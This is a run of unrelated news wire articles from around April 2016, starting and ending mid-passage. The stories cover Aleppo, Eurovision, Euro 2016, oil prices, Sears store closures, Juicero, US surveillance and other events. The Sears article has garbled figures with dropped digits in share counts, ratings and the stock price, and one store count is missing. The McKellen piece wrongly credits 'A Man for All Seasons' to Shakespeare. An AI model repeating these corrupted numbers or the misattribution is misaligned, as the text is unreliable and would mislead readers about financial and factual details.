longer an option. The border is closed to most. "What's on many people's minds is the border crossing with Turkey," he said. "If Turkey had opened the borders, you would have seen the population of Aleppo go down by half." All the main combatants in the multi-sided Syrian war are fighting in the Aleppo area: insurgents have been waging separate campaigns with the government, the Syrian Kurdish YPG, and Islamic State near the Turkish border. Aid agencies have expressed concern about the fate of tens of thousands of Syrians currently trapped at the border with Turkey, already hosting some 2.5 million Syrian refugees. GETTING OUT A short drive from the Turkish border, Aleppo was Syria's biggest city before the conflict, home to more than 2 million people and an engine of the economy. Today, some 300,000 are estimated to live in rebel-held areas that have sustained heavy casualties and massive destruction as a result of government bombardment that has already forced many to flee. Backed by the Russian air force and allied militia from Iran and Lebanon's Hezbollah movement, the government managed to cut the rebels' most direct supply route into Aleppo in February. The defeat of the opposition in Aleppo would be a crushing blow to the insurgency, and also a blow to Turkey which has backed the Syrian rebel groups fighting near its frontier. The government-held side of the city is still home to more than 1 million people. The level of casualties and destruction there has been far lower than in the opposition-held areas. But growing rebel fire power has exacted a heavier toll than at the start of the war. After the truce, "life had started to return to the city ... people were out until late at night", said Soheib Masri a 29-year-old journalist, speaking by phone from the government side. Now, people were moving away from frontline areas again into safer parts of the city, and in some cases leaving altogether. "There is a new movement of Aleppo residents towards the other provinces, towards the coast," he said. "I am thinking of getting my family out because there is great fear. The shelling today isn't like before ... they've got rockets that go further." The route out of government-held Aleppo is also vulnerable. The main Damascus-Aleppo highway runs through rebel held territory, leaving the government dependent on a circuitous desert road that is vulnerable to Islamic State attack. That road was cut as recently as February by an Islamic State assault. The group remains poised some 10 km (6 miles) away, according to the Syrian Observatory for Human Rights, a Britain-based monitoring group. "WE CANNOT MOVE" Recapturing all Aleppo has been a government priority since the Russian air force intervened in support of Assad last September, tipping the conflict his way. The "cessation of hostilities" deal brokered by the United States and Russia in February began to unravel in the Aleppo area this month with each side accusing the other of attacking first. Several U.S. officials said this week that the Russian military had repositioned artillery near Aleppo, adding to speculation of an another assault on the city. The opposition's only way in and out of the city is the so-called Castello road, which provides access to Aleppo's rebel-held western approaches but passes within firing range of Sheikh Maqsoud, an Aleppo district held by the Kurdish YPG militia. Enmity between the YPG and rebels has spilled into all-out war in the Aleppo area since late last year. Rebels say their attack resulted from YPG attempts to cut the road. Mohamad Sheikho, a Sheikh Maqsoud resident and member of a leading Kurdish political party, says rebel bombardment has killed 109 people in Sheikh Maqsoud since February. "We cannot move, I tell you. It is besieged," he said by phone. "The humanitarian situation is extremely bad." The Observatory, which tracks all sides of the conflict, said that while some goods could be smuggled into Sheikh Maqsoud from adjoining government-held districts, it was considered besieged. Rebels say the YPG wants to take the Castello road in collaboration with Damascus. "Twenty brigades of the FSA agreed to teach the PKK a lesson," said Zakaria Malahifji of an Aleppo-based rebel group, referring to the Sheikh Maqsoud attack. The rebels often call the YPG the PKK, a reference to its links to the Turkish Kurdistan Workers' Party, which is considered a terrorist group by Turkey, the United States and the European Union. The YPG denies rebel assertions that coordinates its attacks with Damascus. Some in Aleppo say they will not leave, regardless of how bad it gets. "We have been living in this state of war for three years. The people have gotten used to it," said Ammar al-Absi, a member of a rebel-run local council. Nuha Ftaima, a 52-year-old school teacher living on the government side, says she will never leave. Both her husband and brother have been killed in the war, one shot by a sniper and the other killed by a shell. Speaking by phone as an explosion could be heard in the background, she said it was time the Syrian army put an end to the insecurity. "Without prevarication I say it. We call for a military solution," she said. (Writing by Tom Perry; editing by Peter Graff)
Stockholm (AFP) - Romania has been barred from this year's Eurovision Song Contest for failing to pay millions in debts to the European Broadcasting Union, the EBU said Friday.

The EBU, which organises the contest which this year culminates in a final on May 14 in Stockholm, said Romania's struggling state broadcaster TVR owes it 16 million Swiss francs (14.5 million euros, $16.3 million), debts that have accumulated over several years.

Romania was to be represented at the event by Ovidiu Anton with his English-language song, "Moment of Silence", but the entry will now be forced out of the lineup.

"It is regrettable that we are forced to take this action," EBU Director General Ingrid Deltenre said in a statement.

"We are disappointed that all our attempts to resolve this matter have received no response from the Romanian government.

"The continued indebtedness of TVR jeopardises the financial stability of the EBU itself," Deltenre said.

She said the EBU has noted that TVR was facing possible insolvency.

But numerous attempts were made to restructure the debt and payment plans were agreed upon, but had not been adhered to.

The organisation had written to the Romanian government on four occasions this year, but had received no reply, the EBU said in a statement.

On Monday, Romania's Prime Minister Dacian Ciolos said the government would be seeking to broker a solution to avoid being locked out of a competition watched by a global audience of 197 million last year.

Then, in a final letter to the Romanian finance minister sent on April 15, the EBU requested a payment of 9.2 million euros to be received in the EBU's bank account by close of business on Wednesday, April 20, 2016.

The deadline was then extended until Thursday, April 21 but no payment was received, according to EBU.

In 22 years of appearances Romania has never won Eurovision, twice placing third.
(Reuters) - Manager Roy Hodgson has assured captain Wayne Rooney of a place in the 23-man England squad for the Euro 2016 in France, but has refused to guarantee the Manchester United forward a starting berth for the June-July tournament. With a wealth of attacking options at his disposal, including leading Premier League scorers Harry Kane (24 goals) and Jamie Vardy (22 goals), Hodgson said England's record scorer Rooney may be dropped from the starting line-up. "Of course, with the competition that's coming for the places where he plays, I do understand there's questions about, well, should he be the one playing or should another? That's another matter altogether," Hodgson told British media. "He merits a place among the 23. I don't see any reason (to omit him) if Rooney is 100 percent and playing matches. "In a squad of 23, something would have to happen much more than people doubting his form before I said, 'I'm going to ditch Wayne Rooney now after two years of captaining the team, 20-odd games where he's been an important part of this group.'" Hodgson also played down the chances of emerging Manchester United striker Marcus Rashford of making the cut for France, as the manager feels the tournament has come too soon for the 18-year-old. Rashford has scored seven goals in 13 games since bursting through with a double strike on his debut against Midtjylland in the Europa League in February. "As far as the first national team is concerned, it would be a very bold decision to put him in. It would mean possibly leaving someone behind who at the moment, in my opinion, has more reason to be called up," the 68-year-old said. England face Russia, Slovakia and Wales in Group B of the 24-team tournament that starts on June 10. (Reporting by Shravanth Vijayakumar in Bengaluru; Editing by John O'Brien)
Are smartphone manufacturers finally taking complaints about battery life seriously? A new rumor posted by Dutch website GSM Helpdesk suggests that Samsung is. According to the website's sources, Samsung is testing out a version of the Note 6 that has a giant 4,000mAh battery, which would be a step up from the Galaxy S7 edge's 3,600 mAh battery. The website also claims the device will have a 5.8-inch display with a resolution of 1,440 x 2,560 pixels, along with 6GB of RAM and 32GB of internal storage.

But let's be honest: What's really intriguing here is the giant battery.

MUST SEE: Photos of the Tesla Model 3 like youve never seen before

As we mentioned before, the Galaxy S7 edge pushed things forward earlier this year with its 3,600mAh battery. HTC's newest HTC 10 flagship phone features a 3,000 mAh battery, but HTC claims that it's developed technology that will allow it to last up to two days on a single charge. And last year's Droid Turbo 2 featured a 3760 mAh battery, although that device was more of a niche device that was an exclusive to Verizon.

So a 4,000mAh battery would really be pushing things forward here, especially when you consider that the Note 5 "only" had a 3,000mAh battery. Does this mean we'll soon expect all our phones to at least last for two days on a single charge? That would obviously be terrific but we'll have to wait and see.

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This article was originally published on BGR.com
By Alessandra Prentice and Lidia Kelly KIEV/MOSCOW (Reuters) - Russia has agreed to allow Ukraine extra time to file its defence with a British court over a $3 billion debt to Russia, Moscow and Kiev officials said on Friday. Russia filed a lawsuit against Ukraine in February at London's High Court demanding repayment of the $3 billion Eurobond, which matured on Dec. 20. Meanwhile Ukraine insists Russia must accept restructuring terms agreed with other foreign creditors. Russia said on Monday it would not agree to Ukraine's request for more time to file a defense, but on Friday it reversed its position. "Russia has belatedly conceded to the entirety of the additional time Ukraine has requested," Ukraine's finance ministry said in a statement. "(It is) pleasing that Russia has eventually seen sense on this issue and avoided wasting the Court's time in dealing with an issue which Russia was destined to lose," it said. Russian Finance Minister Anton Siluanov said that Moscow was giving the new Ukraine government a chance. "We have given the new government of Ukraine extra time in order for Kiev to soberly assess the situation, revise previously stated positions and begin good faith negotiations with Russia," Siluanov said. [ID:nR4N17N00W] A source familiar with the proceedings said the court order stated this extension was final and no further extensions would be granted. The lawsuit has become yet another bone of contention between the one-time allies, whose relations are at an all-time low following Russia's annexation of Ukraine's Crimea peninsula and a costly pro-Russian separatist conflict in eastern Ukraine. Originally, Ukraine had until March 19 to file its defence although it was granted an extension until April 16. It has since asked for the second extension until May 27. The Eurobond in question was issued by the government of former president Viktor Yanukovich just two months before he fled to Russia in February 2014 amid bloody street protests. They were triggered by Yanukovich seeking to halt Ukraine's move towards European integration in favour of closer economic ties with Russia. Ukraine refused to repay the bond, including it in the external debt it earmarked for restructuring as part of an International Monetary Fund-led bailout programme. Moscow insists the bond is sovereign debt and should not be part of the programme. (Reporting by Alessandra Prentice and Lidia Kelly; Additional reporting by Karin Strohecker in London and Darya Korsunskaya in Moscow; Editing by Richard Balmforth)
Yerevan (AFP) - Russia on Friday denounced Turkey's position on the conflict between Azerbaijan and Armenia over the Nagorny Karabakh region after a Russian-mediated ceasefire ended the worst clashes in decades in the breakaway enclave.

"Statements made by Turkish leaders are totally unacceptable for one simple reason -- they are calling not for peace but for war," Russian Foreign Minister Sergei Lavrov told a news conference in the Armenian capital of Yerevan.

Turkey pledged its full support to its traditional ally Azerbaijan after the latest deadly clashes erupted in Karabakh between Azerbaijani and Armenian forces on April 2.

"Unfortunately, we have already got accustomed to such quirks from the current Turkish leadership," Lavrov added.

In a war in the 1990s that claimed some 30,000 lives, separatists backed by Yerevan seized control of the mountainous region inside Azerbaijan that is home to a majority of ethnic Armenians.

More than 100 people have been killed on both sides in fierce clashes that ended with a Russian-mediated ceasefire on April 6.

The outbreak sparked fears of a wider conflict that could drag in regional powers Russia and Turkey, which have been at loggerheads since Turkey shot down a Russian warplane in Syria in November.

Turkish President Recep Tayyip Erdogan has declared that "Karabakh will one day return to its original owner" while his prime minister, Ahmet Davutoglu, vowed to stand by Baku "until the apocalypse."

Moscow has sold arms to both Armenia and Azerbaijan but has far closer ties to Yerevan, where it has a military base.

Azerbaijan and Armenia have never signed a peace deal despite a 1994 ceasefire and sporadic violence on the line of contact regularly claims the lives of soldiers on both sides.

Energy-rich Azerbaijan, whose military spending exceeds Armenia's entire state budget, has repeatedly threatened to take back the breakaway region by force.
- By David Goodloe





Sears Holdings (SHLD), the Hoffman Estates, Illinois-based owner of retail store brands Sears and Kmart, announced Thursday that it will close 78 stores  68 Kmart stores in 6 states and  Sears stores in eight states  in the next five months.





All of the Sears stores and all but two of the Kmart stores will close by late July, Sears Holdings announced. Two Kmart stores  in Taylor, Michigan, and Lorain, Ohio  will close in September. In selecting which stores to shut down, the company said it considered stores historical and recent performances and the timing of lease expirations.

Following the announcement, the price of shares of Sears stock went up 5.6%.

The company announced in February that it would expedite the closing of unprofitable stores. The affected Kmart stores will begin liquidation sales next month. The affected Sears stores will begin liquidation sales next week.

Sears Holdings expects the store closures to generate a meaningful level of cash from the liquidation of store inventory and from the sale or sublease of some of the related real estate, the company said in a press release.

Edward Lampert (Trades, Portfolio), chairman and chief executive officer of Sears Holdings, called the decision to close the stores a difficult but necessary step in restoring the companys profitability. Lampert also pledged the companys assistance for store associates who are affected by the closings and seek employment at other Sears and Kmart stores.

Sears Holdings leading shareholder among the gurus is Bruce Berkowitz (Trades, Portfolio), with a stake of 6,57,448 shares following his sale of 5,4 shares on April 6. Berkowitzs stake is 4.89% of Sears Holdings outstanding shares and 6.5% of Berkowitzs total assets.

Lamperts stake in the company is ,6,5 shares. That stake is .9% of Sears Holdings outstanding shares and .5% of Lamperts total assets.

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Sears Holdings has a P/S of .7. GuruFocus gives Sears Holdings a Financial Strength rating of 6/ and a Profitability and Growth rating of /.

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Sears Holdings trade for $8. per share Friday afternoon.

To view the gurus' latest stock picks, visit the Real Time Stock Picks page. Not a premium member of GuruFocus? Try it free for seven days.

This article first appeared on GuruFocus.






(Shanghai)  The country's largest flight booking website by tickets sold says it will invest 3 billion yuan in a major domestic airline, a move that comes as carriers try to increase direct sales.

Ctrip signed the deal with China Eastern Airlines Corp. Ltd., the second largest carrier by passenger numbers, on April 21 in Shanghai.

The agreement will see Ctrip buy shares in the airline's upcoming private placement and increase its stake to 10 percent within a year. That would make the travel website firm the carrier's biggest outside stakeholder, the companies said at the signing ceremony.

The firms said they will also collaborate on a range of projects, including developing budget airlines and travel insurance products.

The agreement was reached as China's carriers try to sell more tickets on their own, slashing the commissions paid to ticket agents.

Online ticket booking platforms have become the most popular way to buy flight tickets in recent years. Three-quarters of all flight tickets were sold online in 2015, data from tourism industry information provider E-travel Center showed. Ctrip handled 26 percent of those sales, and Qunar, another major travel website, handled one-quarter. Only 11 percent of the tickets were bought via airlines' websites.

However, civil aviation authorities have been pushing airlines to sell more tickets directly to customers in recent years, several people familiar with the industry said.

Early last year, the State-owned Assets Supervision and Administration Commission told Air China, China Eastern and China Southern Airlines, the nation's top three carriers, to see that direct sales cover half of the total tickets sold by 2018. The government agency that oversees state-owned business also said it wanted spending on commissions cut by almost half of the figure in 2014.

Tension between airlines and ticket websites has arisen in recent months over a string of scams. Staring in March, four top airlines, including China Eastern, stopped selling their tickets on Qunar because of an increase in complaints about overpriced tickets and extra charges for changes.

An employee of one of the four airlines said some agents on the site had redeemed frequent flier miles to get tickets that are not refundable and sold them to customers.

In a similar incident, a traveler complained on social media that he was denied a boarding pass by Japan Airlines in Tokyo because a ticket that he bought on Ctrip had been redeemed by using the frequent flier miles of someone he did not know.

Faced with increasing pressure that they will be knocked out of the market, the travel websites have to change their business model, said Wei Changren, chief executive of the tourism news portal Ctcnn.com.

In March, Qunar announced that it has invested in a new Shenzhen-based carrier and will partner with it to sell tickets.

(Rewritten by Chen Na)
By Jon Herskovitz (Reuters) - At least eight people believed to be members of the same family were found shot to death execution-style in four homes in Pike County, Ohio, and a suspect or suspects may still be at large, officials said on Friday. The victims included seven adults and one juvenile. All were shot in the head, the Pike County Sheriff and the Ohio attorney general told a news conference. There had been earlier reports that five adults and two juveniles had been found dead. "We have many horrific crime scenes," Pike County Sheriff Charles Reader said. An infant less than a week old, a six-month-old and a three-year-old survived the shootings, they said. Reader said anyone involved in the shootings should be considered armed and extremely dangerous. No arrests have been made. I am still actively looking for a shooter," he said. Some of the victims appeared to have been murdered in bed, including the mother of the infant who survived, Attorney General Mike DeWine said. He said that none of the deaths had resulted from suicide. This is a horrible tragedy that has occurred here in Pike County. Each one of the victims appears to have been executed. Each one of the victims appears to be shot in the head," he said. (Reporting by Jon Herskovitz; Additional reporting by Lisa Maria Garza in Dallas; Editing by Frances Kerry, Toni Reinhold)
London (AFP) - Best known internationally for starring in "The Hobbit", British actor Ian McKellen spoke to AFP about his lifelong passion for Shakespeare as Britain celebrates the 400th anniversary of the Bard's death.

McKellen was speaking on the eve of Saturday's commemorations, when he will perform alongside Benedict Cumberbatch and Judi Dench in a celebration of Shakespeare's work at the playwright's hometown of Stratford-upon-Avon.

"I've never been frightened of Shakespeare," said McKellen, whose first professional appearance was in 1961 in Shakespeare's "A Man for All Seasons", shortly after he graduated from Cambridge University.

"I've never thought of him as being difficult because he has been a part of my life since I first went to see plays of all sort, when I was 8 or 9 years old.

"I was part of the fun, I was close to the action. The actors were in the same space, live," he said.

Asked if he became an actor because of Shakespeare, he answered: "It wasn't because of Shakespeare, it was because I enjoyed the theatre so much.

"Shakespeare is the supreme playwright so it is very central to it," he said, speaking at the British Film Institute in London where a new Shakespeare app intended to bring the plays to a new audience was being presented.

Alongside a distinguished career in British theatre, McKellen has become a Hollywood star with his role as Gandalf in "The Lord of the Rings" and "The Hobbit" trilogies as well as playing Magneto in the "X-Men" films and Sherlock Holmes in "Mr Holmes".

He has received six Laurence Olivier theatre awards, a Golden Globe and two Oscar nominations for "Gods and Monsters" and "The Fellowship of the Ring".

He voiced his character in an episode of "The Simpsons" when the cartoon family visit London.

McKellen has also been a campaigner for gay rights after coming out on BBC radio in 1988, although his orientation was already known in the theatre world.

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- 'Rhythm of the human heart' -

While his film roles have handed him international fame, the actor often returns to Shakespeare.

At his tribute performance in Stratford-upon-Avon entitled "Shakespeare Live!" on Saturday he will perform in front of Prince Charles along with fellow stars Helen Mirren and Joseph Fiennes among others.

"The way I prepare for Shakespeare is I read it, and read it, and read it, and read it and try to understand how it is written and why it is written in the way it is written," he told AFP.

"Many of his plays are written in verse and the rhythm of that verse is... the rhythm of the human heart, sort of the rhythm of everyday speech today -- you speak in blank verse without really knowing it."

"Any play writer, any writer, any audience that has been to Shakespeare would tell you that he was more remarkable than any other writer that has ever lived.

"His imagination could take him into the minds and the hearts of all sort of people: ambitious people, lonely people, unhappy people, heartfelt people, families, children, parents who get separated, twins who meet again.

"He seemed to be able to write about us all," he said.
File photo of Rodrigo Duterte (Photo: Reuters)

The Singapore Embassy in Manila has refuted claims that Prime Minister Lee Hsien Loong endorsed Davao City mayor Rodrigo Duterte for president of the Philippines.

In a statement on Friday posted on its website and Facebook page, the embassy said it learnt of an FB post mischievously alleging that the Prime Minister of Singapore endorses a presidential candidate for the upcoming presidential election in the Philippines.

This is untrue. Singapore does not endorse any candidate. The choice is for Filipinos alone to make. We wish the Philippines well in the conduct of its elections, the embassy said in its statement.

Photos of Lee with the caption Mayor Rodrigo Duterte is the only presidential candidate that could make Philippines like Singapore had been spreading online, a report by ABS-CBN News said.

Duterte, the front runner in the May 9 elections, has recently come under fire for remarks he made joking about the rape and murder of an Australian missionary Jacqueline Hamill in the Philippines in 1989.

He also said he was prepared to cut diplomatic ties with the United States and Australia after their ambassadors slammed his joke.

A survey conducted a week before his controversial remarks shows Duterte ahead of other candidates such as senator Grace Poe, vice-president Jejomar Binay and former senator Mar Roxas.
BRATISLAVA (Reuters) - Slovak Prime Minister Robert Fico had heart surgery on Friday and is in stable condition, officials from the National Institute of Cardiovascular Diseases said. "The surgery proceeded in a standard way. The patient is in stable condition," surgeon Michal Hulman told reporters. The doctors gave no further details. Doctors said last week they could not confirm whether Fico had suffered a heart attack after he checked himself into the hospital on April 14 complaining of chest pains. The daily Dennik N, which was first to report that Fico was in surgery, quoted a hospital source as saying he had a double bypass, a procedure that diverts the flow of blood around a section of a blocked or partially blocked artery in the heart. Originally the daily said he had a triple bypass. Fico canceled scheduled visits to the Czech Republic and Poland and missed a parliamentary debate on his month-old government's manifesto after being hospitalized. Deputy Prime Minister Peter Pellegrini presented the government's agenda to lawmakers, who are expected to approve it and give the new cabinet a vote of confidence next week. Fico's four-party coalition government has a comfortable majority of 81 votes in the 150-member parliament. The 51-year-old Fico is a regular jogger and also plays soccer. He has a history of spinal problems and sports-related injuries but no known heart issues. He began his second straight term in office last month after an election in which his leftist Smer party lost its majority in parliament but remained the senior party in a coalition government. It is his third term overall as prime minister. The parliamentary speaker and chairman of a junior coalition Slovak national party, Andrej Danko, may also have stomach surgery in the coming days after examinations at the National Institute of Oncology, a spokeswoman said. (Reporting by Tatiana Jancarikova; Editing by Hugh Lawson and Angus MacSwan)
A glass of freshly squeezed juice certainly beats the mass-produced kind you'd buy off a store shelf  after all, it's both tasty and nutritious. Yet making fresh juice at home has always been a lot of work and a big mess. Now, a company has developed a new high-tech juicer that can deliver fresh, organic juice with the simple push of a button.

The new juice system, made by the company Juicero, operates much like a single-cup coffee brewing system, but for juice. You simply insert a packet of organic fresh fruits and vegetables into a countertop press, and press a button. Within minutes, the machine produces an 8-ounce (237 milliliters) glass of freshly made, cold-pressed juice.

What makes fresh juice better than the bottled stuff in regular grocery stores? Most of the mass-produced juices available to shoppers are made using a centrifuge, which heats the produce as it extracts water and other soluble nutrients away from the fibrous pulp. Heat leads to oxidation, which often affects taste, and some people argue that this process diminishes the nutrition of the juice as well. [9 Healthy Habits You Can Do in 1 Minute (Or Less)]

Fresh juices are more often made with a traditional method, known as the "cold press." For hundreds of years, people have used what is known as a cloth-and-rack system to force juice from fruits and vegetables. The labor-intensive method uses a rack to generate pressure and a cloth membrane to filter the pulp away from the liquid.

The Juicero system puts a decidedly modern spin on this ancient method. The cloth is replaced with a biodegradable mesh that is wrapped around the produce inside the pack. Instead of a rack, a sleek press  equipped with Wi-Fi and "smart" technology  generates pressure.

It took the company's research team months to determine the right amount of pressure, said Doug Evans, Juicero's founder. The researchers found that it generally requires an impressive "4 tons of force or 8,000 lbs. [3,600 kilograms] of pressure," Evans told Live Science.

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But not all fruits and vegetables need the same amount of force to turn into drinkable juice. For example, a watermelon is much easier to juice than spinach, Evans said.

To help the machine figure out the right amount of pressure to use, Juicero equipped the press with a scanner and stamped a quick-response (QR) code  a type of square bar code  on each juice pack. For each code, the press is programmed with an "algorithm that determines what is the best way to press this particular produce in packs, how fast the platens [plates] should move, how long it should go for, how much force to apply  so it is unique, Evans said.

The QR code also provides information about where the produce comes from and how it was processed. Each code is entirely unique so that the fruits and vegetables can be traced back directly to their source. Additionally, the Wi-Fi-enabled press relays all this information back to a Juicero smartphone app so that customers can track how much juice they drink, when their packs will expire, and when to reorder more organic produce packs, the company said.

It remains to be seen whether Juicero will catch on. While Evans has attracted significant initial funding, the juice machines retail for $699 on the company's website (but they're currently available only in California). With packs ranging from $4 to $10 each, the system is considered a luxury item.

Follow Live Science @livescience, Facebook & Google+. Original article on Live Science.

Copyright 2016 LiveScience, a Purch company. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.
CARLETONVILLE, South Africa (Reuters) - South Africa's mines minister said on Friday talks with industry over proposed changes of the Mining Charter would take place next week on Monday and Tuesday, without giving further details. "It is just a proposal which is why we are saying come let's talk," said Mosebenzi Zwane, referring to the revised regulations. Zwane was speaking to reporters at AngloGold Ashanti's TauTona mine west of Johannesburg. (Reporting by Ed Stoddard; Writing by Nqobile Dludla; Editing by James Macharia)
CAPE TOWN (Reuters) - South Africa's government is concerned by rising prices for staple foods including bread, the minister for agriculture said on Friday, warning that businesses profiteering from a drought would face the wrath of competition authorities. The worst drought in a century has seen food prices soar, affecting millions of mainly black poor in Africa's most industrialised economy. (Reporting by Wendell Roelf; Editing by James Macharia)
JOHANNESBURG (Reuters) - South African President Jacob Zuma has reprimanded the minister for public works and two former cabinet ministers for their role in the saga of state-funded improvements to his home, the presidency said on Friday. South Africa's constitutional court ruled last month that Zuma had failed to uphold the constitution by ignoring orders from the public protector that he repay some of the $16 million in state funds spent to renovate his private residence at Nkandla. The presidency said in a statement that the letters of reprimand had been sent to the public works minister Thulas Nxesi, a former minister in the same department Geof Doidge and former police minister Nathi Mthethwa. The presidency did not say what measures had been taken against the officials. (Reporting by Nqobile Dludla; Editing by James Macharia)
Juba (AFP) - South Sudan rebel chief Riek Machar will miss an international deadline on Saturday to return to the capital to take up the post of vice president, the government said, with his arrival now expected next week.

UN chief Ban Ki-moon has urged Machar to return to Juba "without delay", while the US, Britain and Norway -- key international backers of peace efforts -- demanded he return by Saturday.

Machar was due to return to the capital Juba on April 18 to take up the post of first vice president alongside his arch-rival President Salva Kiir.

His failure to arrive has thrown an August 2015 peace agreement to end over two years of intense civil war into jeopardy.

But Minister of Information Michael Makuei said the government would only clear Machar's plane to arrive from Ethiopia after international monitors have verified the number of weapons carried by the rebels accompanying him.

"There is no coming today," Makuei said.

The rebels, who were at Ethiopia's Gambella airport, said they were ready to fly but needed permission to do so.

An AFP reporter at the airport said there was growing frustration among the rebel troops, who have now been there for several days, waiting to leave.

- 'Risk of further conflict' -

Under intense international pressure, the two sides reached agreement on Friday on the number of troops protecting Machar and the exact number of weapons they can carry.

Machar can bring with him 195 men, carrying AK-47 assault rifles as well as 20 machine guns and 20 rocket-propelled grenades.

Rebel spokesman James Gadet said the weapons had already been checked by Ethiopian officials, and could also be verified upon their arrival in Juba.

"The forces are ready," Gadet said, adding they were asking the government "to drop the issue" of independent weapons verification in Ethiopia to speed up the process.

"If they resolve the issue of the verification and they give the landing permission of the plane then they can go," he said.

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The US, Britain and Norway had on Friday appealed for Machar to return.

"Machar's failure to go to Juba, despite efforts from the international community to support his return, places the people of South Sudan at risk of further conflict and suffering," the trio said in a statement.

"We will pursue appropriate measures against anyone who further frustrates implementation of the peace agreement."

South Sudan's civil war began in December 2013 when Kiir accused Machar of plotting a coup. The conflict has reignited ethnic divisions and been characterised by gross human rights violations.

It has included the abduction and rape of thousands of women and girls, massacres of civilians, recruitment of child soldiers, murder, mutilation and even cannibalism.

Machar, a former rebel leader turned deputy president, started a new rebellion after being fired by Kiir in 2013, fighting his way back to office.

A 1,370-strong armed rebel force has already arrived in Juba as part of the peace deal, and government forces say they have implemented their promise to pull all but 3,420 of their troops from the city.

All other soldiers have to remain at least 25 kilometres (15 miles) outside the capital.
The super-hyped meeting in Doha, Qatar, between OPEC and Russia has come and gone without a deal  a deal that was supposed to freeze output at January levels in an effort to bring an oversupplied global energy market back into balance. And yet, in a violation of all conventional logic, oil prices have held firm.

Drivers have no doubt already noticed the 70 percent rise in wholesale gasoline prices from the February low. Can prices stay at these levels?

The stability comes despite comments from Russian Energy Minister Alexander Novak that the oversupply may last until the middle of next year. Saudi Deputy Crown Prince Mohammed bin Salman said that if a freeze deal isn't reached "we will sell at any opportunity we get," adding that the kingdom could increase output from 10.2 million barrels per day to 12.5 million in six to nine months "if we wanted to."

Related: Why the Doha Oil Meeting Was a Dud  and What It Means for Stocks

On Wednesday, Iraq's Deputy Oil Minister said that OPEC members and other producers were planning to meet in Russia in May to try to revive the proposed production-freeze agreement. Yet the Russian energy minister expressed doubt any deal could be made and added that Russia hasn't been invited to OPEC's next scheduled meeting in June.

The problem remains Iran, which is committed to increasing production from 3.3 million barrels a day currently to a pre-sanctions level near 4 million barrels. For Saudi Arabia, which torpedoed energy prices in 2014 in an effort to recapture market share from U.S. shale oil producers and is no friend of Tehran for religious and regional power issues, this is a nonstarter.

For now, however, the prospect of a miracle agreement is enough to keep oil markets in stasis. But based on supply, demand and inventories, I don't think the ebullience will last.

Crude Oil Supply

Consider that production is up across the board. According to data compiled by Oil Market Intelligence, oil output from the U.S. and Canada rose to a record 13.6 million barrels per day. Russian and Saudi production remains in record-high territory at 11.4 million and 10.2 million barrels per day. Same story with Iraq's production, at 4.3 million barrels per day. Iran, as mentioned above, is ramping up.

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Related: Which Money Worries Keep You Up at Night?

Despite a collapse in U.S. drilling rig counts, and the fact that oil patch bankruptcies (totaling nearly $40 billion in debt over the last two years) are rising fast, the long-awaited drop in American oil output just isn't happening in a big enough way. According to data from the U.S. Department of Energy, U.S. crude production is down to 9.0 million barrels per day from a high around 9.6 million barrels.

This is coming at a time when inventories continue to swell, with stockpiles up 10.1 percent over last year.

And while global energy demand hit a new record high in March, the rate of growth slowed to just 1.4 percent over the latest three-month period. Crude oil supply rose at a 2.3 percent rate over the same time.

In trading on Thursday, West Texas Intermediate crude oil tested a high of $44.49  a level not seen since last November. Given the all-in cost for U.S. shale companies is between $45 and $50, any rally into this area will be self-limiting because these folks will "increase spending, drilling and, after a time lag, production," according to Michael Haigh, the global head of commodities at Societe Generale.

Ed Yardeni of Yardeni Research notes that many U.S. oil frackers have DUCs  "drilled but uncompleted" wells  that can be quickly put back into service should prices stay high.

A few other points of note. Jason Goepfert at SentimenTrader finds that the two strongest months of the year, historically, for crude oil are March and April followed by a flat performance through the summer.

Related: The End of the Great American Oil Boom

Moreover, commercial oil hedgers in the futures market  commonly believed to be "smart money" traders often connected to energy companies  have worked off a bullish position accumulated back in February as oil was bottoming. Their positioning has returned to levels last seen during the April-June 2015 period when crude oil was consolidating tightly near $60 before suffering a wipeout starting in July.

All things considered, either American drivers hit the road like never before and boost demand or oil prices are headed for another fall.

Top Reads from The Fiscal Times:
By Dustin Volz

WASHINGTON (Reuters) - U.S. lawmakers are pressing the nation's top intelligence official to estimate the number of Americans ensnared in email surveillance and other such spying on foreign targets, saying the information was needed to gauge possible reforms to the controversial programs.

Eight Democrats and six Republicans made the request to Director of National Intelligence James Clapper in a letter seen by Reuters on Friday, reflecting the continued bipartisan concerns over the scope of U.S. data espionage.

"You have willingly shared information with us about the important and actionable intelligence obtained under these surveillance programs," wrote the lawmakers, all members of the U.S. House of Representatives' Judiciary Committee.

"Now we require your assistance in making a determination that the privacy protections in place are functioning as designed."

They requested that Clapper provide the information about data collected under a statute, known as Section 702, by May 6.

That law, set to expire at the end of 2017, enables an Internet surveillance program called Prism that was first disclosed in a series of leaks by former National Security Agency contractor Edward Snowden some three years ago.

Prism gathers messaging data from Alphabet's Google, Facebook, Microsoft, Apple and other major tech companies that is sent to and from a foreign target under surveillance.

Intelligence officials say data about Americans are "incidentally" collected during communication with a target reasonably believed to be living overseas. Critics see it as "back-door" surveillance on Americans without a warrant.

A recently declassified November opinion from the Foreign Intelligence Surveillance Court, a secretive body that oversees the legality of U.S. spy programs, rejected a constitutional challenge to rules permitting the FBI to access foreign intelligence data for use in domestic criminal investigations.

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The Republican-controlled House has voted overwhelmingly since the Snowden leaks to require U.S. agencies obtain a warrant before searching collected foreign intelligence for data belonging to Americans, but those proposals have gained minimal traction in the Senate.

Civil liberties groups and Senator Ron Wyden, an Oregon Democrat, have previously requested information on the extent of U.S. data caught up in the foreign surveillance program.

The Obama administration, however, has said it cannot provide a precise answer and that any estimate would require reviewing communications in a manner that would raise privacy concerns.

In their letter to Clapper, the lawmakers said officials have demonstrated the feasibility of providing an estimate and that any one-time privacy concerns were acceptable in light of the importance of the information.

James Sensenbrenner, Darrell Issa, Jim Jordan, Ted Poe, Jason Chaffetz, and Blake Farenthold were the Republicans to sign the letter. Jerrold Nadler, Zoe Lofgren, Hank Johnson, Ted Deutch, Cedric Richmond, Suzan DelBene, David Cicilline and John Conyers signed for the Democrats. Conyers is the top Democrat on the Judiciary Committee.

(Reporting by Dustin Volz; Editing by Paul Simao)
New York (AFP) - Tributes flooded in for Prince Thursday following his death at age 57, as the music world reeled from the sudden loss of one of the most influential pop artists of all time.

Here are some of the strongest tributes from Prince's friends, contemporaries and admirers:

Barack Obama

"Today, the world lost a creative icon. Few artists have influenced the sound and trajectory of popular music more distinctly, or touched quite so many people with their talent."

Madonna

"He Changed The World!! A True Visionary. What a loss. I'm Devastated. This is Not A Love Song."

Mick Jagger

